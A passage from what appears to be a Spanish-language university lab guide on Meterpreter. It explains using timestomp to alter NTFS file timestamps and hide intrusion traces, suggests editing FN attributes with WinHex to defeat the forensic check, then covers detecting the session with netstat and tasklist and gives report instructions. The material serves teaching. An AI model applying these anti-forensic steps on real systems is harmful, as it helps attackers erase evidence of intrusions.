desarrollada por Metasploit Anti-Forensics Project que sirve para ver y modificar los tiempos MACE de los archivos en NTFS.
Timestomp también se puede correr de forma nativa en Windows, como de describe en la guía de la práctica sobre Forénsica
Digital y Marcas de Tiempo y junto a herramientas como slacker para ocultar archivos en el slack space de NTFS y samjuicer para
obtener contraseñas de Windows, conforman el Metasploit Anti-Forensic Investigation Arsenal (MAFIA). Con timestomp se
consigue evitar que un analista forense obtenga la línea de tiempo de sucesos en un sistema, dificultando la correlación de eventos y
desacreditando la evidencia digital. Todo lo anterior enturbia la etapa de análisis de datos dentro del proceso digital forense.

Para usar timestomp, en primer lugar si se encuentra en una línea de comandos de Windows, escriba exit o pulse Ctrl+Z. para
regresar a Meterpreter. Luego escriba use priv, ya que se requiere cargar esta extensión de Meterpreter. Escriba timestomp
-h para ver las opciones.

Para ver los tiempos MACE de un archivo, ejecute un comando como el siguiente: timestomp /Publico/nc.exe -v

Mediante Timestomp puede modificar invidualmente uno cualquiera de los tiempo MACE:
-16-

Timestomp presenta una debilidad que puede ser aprovechada por los analistas forenses para evidenciar que han usado este
programa y conforme a esto, responder a las circunstancias apropiadamente. El principal defecto es la modificación de la
información MACE del Standard Information Attribute (SIA) y no del File Name Attribute (FN) dentro de la MFT, ya que en
condiciones normales, las fechas y horas registradas en SIA deben ser mayores o iguales a las registradas en FN. Entonces es
posible asegurar que han cambiado las fechas del SIA y sospechar que han usado timestomp, al no ver el cambio en el FN. Una
potencial solución a esta debilidad de timestomp consiste en modificar los valores FN con una herramienta que permita alterar datos
“crudos” como WinHex, de tal forma se evita la inconsistencia en los datos del tiempo.

En el análisis forense de un sistema penetrado mediante Meterpreter hay aspectos interesantes. Desde el punto de vista del atacante,
timestomp permite manipular los atributos de los archivos, como el tiempo del último acceso, modificación, etc., para así intentar
borrar los rastros de la intrusión. Desde el punto de vita de la víctima o del investigador forense, hay que destacar que Meterpreter
no deja rastro de sí mismo en el disco duro, por lo que sería necesario un volcado y análisis de la memoria RAM para detectarlo. Lo
que sí se puede detectar es la conexión entre las 2 máquinas. Imaginemos entonces que estamos en la máquina penetrada y
sospechamos que hemos podido ser víctimas de una intrusión. La ejecución del comando netstat -ano nos da una pista sobre la
intrusión, al revelarnos la conexión establecida con el atacante y además el PID del proceso (ej. 5268).

El comando lo puede ejecutar remotamente también el atacante si tiene una sesión shell abierta.

Al ejecutar tasklist, aparece el nombre correspondiente a ese PID.

Tanto la victima como el atacante podrían “matar” ese proceso mediante el comando taskkill (por ejemplo taskkill /pid 5268) y con
eso se cortaría la conexión con el atacante.

Sección H: Finalizar
-17-
Para terminar la sesión remota, escriba exit o pulse Ctr+C.

Para salir de Metasploit, escriba exit.

Para salir de Kali Linux, lo puede hacer desde el ícono de root en el extremo superior derecho de la ventana seleccionando Shut
Down o simplemente ejecutando halt en Terminal. Pero si se trata de una máquina virtual, es preferible hacerlo desde VMware
mediante Suspend. De esta manera cuando reinicie, no se habrá perdido el trabajo.

Sección I: Informe

Elabore un informe de no menos de 8 páginas donde se reportan las experiencias más relevantes, se analizan los resultados
obtenidos, finalizando con conclusiones y eventuales recomendaciones.

El informe debe ser individual y redactado con palabras propias; no se permite repetir el texto del material que se encuentra en esta
guía, en el material de apoyo o en otras fuentes. Debe contener un resumen de las actividades realizadas, con ejemplo de resultados.
Deben analizarse y discutirse esos resultados, en particular si se presentaron problemas o aspectos inesperados. También deben
incluirse las conclusiones y eventuales recomendaciones.

Los informes deben enviarse regularmente al profesor a lo largo del curso, mediante el correo electrónico. Serán penalizadas las
entregas retrasadas y no se aceptarán entregas muy retrasadas. Además NO se aceptarán informes entregados todos juntos y
apresuradamente las últimas semanas y los últimos días de finalización del curso.

También podría gustarte